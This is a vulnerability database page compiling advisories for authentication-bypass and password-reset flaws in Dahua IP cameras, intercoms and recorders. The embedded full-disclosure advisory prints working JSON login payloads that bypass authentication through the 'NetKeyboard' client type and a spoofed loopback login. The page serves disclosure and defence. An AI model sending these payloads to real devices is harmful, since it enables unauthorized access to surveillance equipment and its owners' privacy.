All the vulnerabilites related to dahuasecurity - sd1a1
Vulnerability from fkie_nvd
Published
2021-09-15 22:15
Modified
2024-11-21 06:08
Severity ?
Summary
The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cybersecurity@dahuatech.com | http://packetstormsecurity.com/files/164423/Dahua-Authentication-Bypass.html | Exploit, Third Party Advisory, VDB Entry | |
| cybersecurity@dahuatech.com | http://seclists.org/fulldisclosure/2021/Oct/13 | Exploit, Mailing List, Third Party Advisory | |
| cybersecurity@dahuatech.com | https://www.dahuasecurity.com/support/cybersecurity/details/957 | Vendor Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://packetstormsecurity.com/files/164423/Dahua-Authentication-Bypass.html | Exploit, Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | http://seclists.org/fulldisclosure/2021/Oct/13 | Exploit, Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://www.dahuasecurity.com/support/cybersecurity/details/957 | Vendor Advisory |
Impacted products
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"lang": "es",
"value": "Una vulnerabilidad de omisi\u00f3n de autenticaci\u00f3n de identidad encontrada en algunos productos Dahua durante el proceso de inicio de sesi\u00f3n. Los atacantes pueden omitir la autenticaci\u00f3n de la identidad del dispositivo al construir paquetes de datos maliciosos"
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"id": "CVE-2021-33044",
"lastModified": "2024-11-21T06:08:10.943",
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Vulnerability from fkie_nvd
Published
2022-01-13 21:15
Modified
2024-11-21 06:08
Severity ?
Summary
Some Dahua products have access control vulnerability in the password reset process. Attackers can exploit this vulnerability through specific deployments to reset device passwords.
References
Impacted products
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"source": "cybersecurity@dahuatech.com",
"tags": [
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var-202109-1875
Vulnerability from variot
The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets. plural Dahua The product contains authentication vulnerabilities.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Dahua Technology Multiple products offered by (CWE-287) vulnerabilities exist. In this vulnerability information, DHI-ASI7213Y-V3-T1 Based on the Information Security Early Warning Partnership, the impact on IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd.A remote third party can exploit the product by sending a specially crafted data packet. ID Authentication may be bypassed. Dahua IPC is a series of industrial computer of Dahua of China Dahua Company. Zhejiang Dahua Technology Co., Ltd. is a leading monitoring product supplier and solution service provider. [STX]
Subject: [Update]: Dahua Authentication bypass (CVE-2021-33044, CVE-2021-33045)
Attack vector: Remote
Authentication: Anonymous (no credentials needed)
Researcher: bashis
-=[Dahua]=- Advisory: https://www.dahuasecurity.com/support/cybersecurity/details/957 Firmware: https://www.dahuasecurity.com/support/downloadCenter/firmware
-=[Timeline]=- June 13, 2021: Initiated contact with Dahua PSIRT (CyberSecurity@dahuatech.com) June 17, 2021: Sent reminder to Dahua PSIRT June 18, 2021: Asked IPVM for help to get in contact with Dahua June 18, 2021: Received ACK from IPVM, told they sent note to Dahua June 19, 2021: ACK received from Dahua PSIRT, asked for additional details June 19, 2021: Additional details including PoC sent June 21, 2021: ACK received, vulnerabilites confirmed June 23, 2021: Dahua PSIRT asked for "coordinated disclosure" June 23, 2021: Confirmed 90 days before my disclosure, said they may release updated firmware anytime from now June 24, 2021: Received CVE-2021-33044, I asked about the second CVE July 03, 2021: Received CVE-2021-33045, Dahua PSIRT asked again for "coordinated disclosure" July 04, 2021: Confirmed "coordinated disclosure", once again July 05, 2021: Dahua PSIRT tried convince me for "Full Disclosure" for vendor only, and "Limited Disclosure" for outside world July 05, 2021: Disagreed, told I will let Dahua PSIRT read my note before "Limited Disclosure" September 6, 2021. "Full Disclosure" will be October 6, 2021, August 30, 2021: Dahua PSIRT asked to read my "Limited Disclosure" note August 30, 2021: Sent my "Limited Disclosure" note September 1, 2021: Dahua PSIRT informing about release of their Security Advisory and firmware updates September 1, 2021: Notified Dahua PSIRT that I cannot find firmware updates for my IPC/VTH/VTO devices September 2, 2021: Dahua PSIRT pointed oversea website, asked for what models I have so Dahua could release firmware September 2, 2021: Refused to provide details, as I do expect me to find firmware on their website September 3, 2021: Dahua PSIRT informed that R&D will upload updated firmware in batches September 6, 2021: Limited Disclosure October 6, 2021: Full Disclosure
-=[NetKeyboard Vulnerability]=-
CVE-2021-33044
Vulnerability: "clientType": "NetKeyboard", Vulnerable device types: IPC/VTH/VTO (tested) Vulnerable Firmware: Those devices who do not support "NetKeyboard" functionality (older than June 2021) Protocol: DHIP and HTTP/HTTPS
Details: Setting above "Vulnerability" on "Vulnerable device types" during 1st or 2nd "global.login" sequence will simply bypass authentication.
Successful bypass returns: {"id":1,"params":{"keepAliveInterval":60},"result":true,"session":
[Example] { "method": "global.login", "params": { "userName": "admin", "loginType": "Direct", "clientType": "NetKeyboard", "authorityType": "Default", "passwordType": "Default", "password": "Not Used" }, "id": 1, "session": 0 }
-=[Loopback Vulnerability]=-
CVE-2021-33045
Vulnerability: "ipAddr": "127.0.0.1", "loginType": "Loopback", "clientType": "Local",
Vulnerable device types: IPC/VTH/VTO/NVR/DVR (tested) Vulnerable Firmware: Firmware version older than beginning/mid 2020. Protocol: DHIP
Details: Setting above "Vulnerability" on "Vulnerable device types" during 1st or 2nd "global.login" sequence pretends that the login request comes from "loopback" and will therefore bypass legitimate authentication.
Successful bypass returns: {"id":1,"params":{"keepAliveInterval":60},"result":true,"session":
[Example] Random MD5 with l/p: admin/admin { "method": "global.login", "params": { "userName": "admin", "ipAddr": "127.0.0.1", "loginType": "Loopback", "clientType": "Local", "authorityType": "Default", "passwordType": "Default", "password": "[REDACTED]" }, "id": 1, "session": 0 }
Plain text with l/p: admin/admin { "method": "global.login", "params": { "userName": "admin", "ipAddr": "127.0.0.1", "loginType": "Loopback", "clientType": "Local", "authorityType": "Default", "passwordType": "Plain", "password": "admin" }, "id": 1, "session": 0 }
[ETX]
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"data": "The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets. plural Dahua The product contains authentication vulnerabilities.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Dahua Technology Multiple products offered by (CWE-287) vulnerabilities exist. In this vulnerability information, DHI-ASI7213Y-V3-T1 Based on the Information Security Early Warning Partnership, the impact on IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd.A remote third party can exploit the product by sending a specially crafted data packet. ID Authentication may be bypassed. Dahua IPC is a series of industrial computer of Dahua of China Dahua Company. Zhejiang Dahua Technology Co., Ltd. is a leading monitoring product supplier and solution service provider. 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cve-2021-33044
Vulnerability from cvelistv5
Published
2021-09-15 21:36
Modified
2024-09-05 15:00
Severity ?
EPSS score ?
Summary
The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.
References
| ▼ | URL | Tags |
|---|---|---|
| https://www.dahuasecurity.com/support/cybersecurity/details/957 | x_refsource_MISC | |
| http://seclists.org/fulldisclosure/2021/Oct/13 | mailing-list, x_refsource_FULLDISC | |
| http://packetstormsecurity.com/files/164423/Dahua-Authentication-Bypass.html | x_refsource_MISC |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| ▼ | n/a | Some Dahua IP Camera, Video Intercom, PTZ Dome Camera, Thermal Camera devices |
Version: Dahua IP Camera devices IPC-HX3XXX, IPC-HX5XXX, and IPC-HUM7XXX, Video Intercom devices VTO75X95X, VTO65XXX, and VTH542XH, PTZ Dome Camera SD1A1, SD22, SD49, SD50, SD52C, and SD6AL, Thermal TPC-BF1241, TPC-BF2221, TPC-SD2221, TPC-BF5XXX, TPC-SD8X21, and TPC-PT8X21B devices Buildtime before June, 2021. |
|
|
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cve-2021-33046
Vulnerability from cvelistv5
Published
2022-01-13 20:27
Modified
2024-08-03 23:42
Severity ?
EPSS score ?
Summary
Some Dahua products have access control vulnerability in the password reset process. Attackers can exploit this vulnerability through specific deployments to reset device passwords.
References
| ▼ | URL | Tags |
|---|---|---|
| https://www.dahuasecurity.com/support/cybersecurity/details/957 | x_refsource_MISC | |
| https://www.dahuasecurity.com/support/cybersecurity/details/987 | x_refsource_CONFIRM | |
| https://support.dahuatech.com/networkSecurity/securityDetails?id=95 | x_refsource_CONFIRM |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| ▼ | n/a | Access control vulnerability found in some Dahua products |
Version: Dahua IP Camera devices IPC-HX3XXX, and IPC-HX5XXX Version: PTZ Dome Camera SD1A1, SD22, SD49, SD50, SD52C, and SD6AL Version: Thermal TPC-BF1241,TPC-BF2221, TPC-SD2221 Version: VTO2101E, VTOX221E, and ASC2204C devices Buildtime between 2017/7 ~ 2021/7. NVR devices NVR4XXX, and NVR5XXX Version: XVR devices XVR4XXX, and XVR5XXX Version: HCVR devices HCVR7XXX, and HCVR8XXX devices Buildtime between 2017/1 ~ 2021/7. |
|
|
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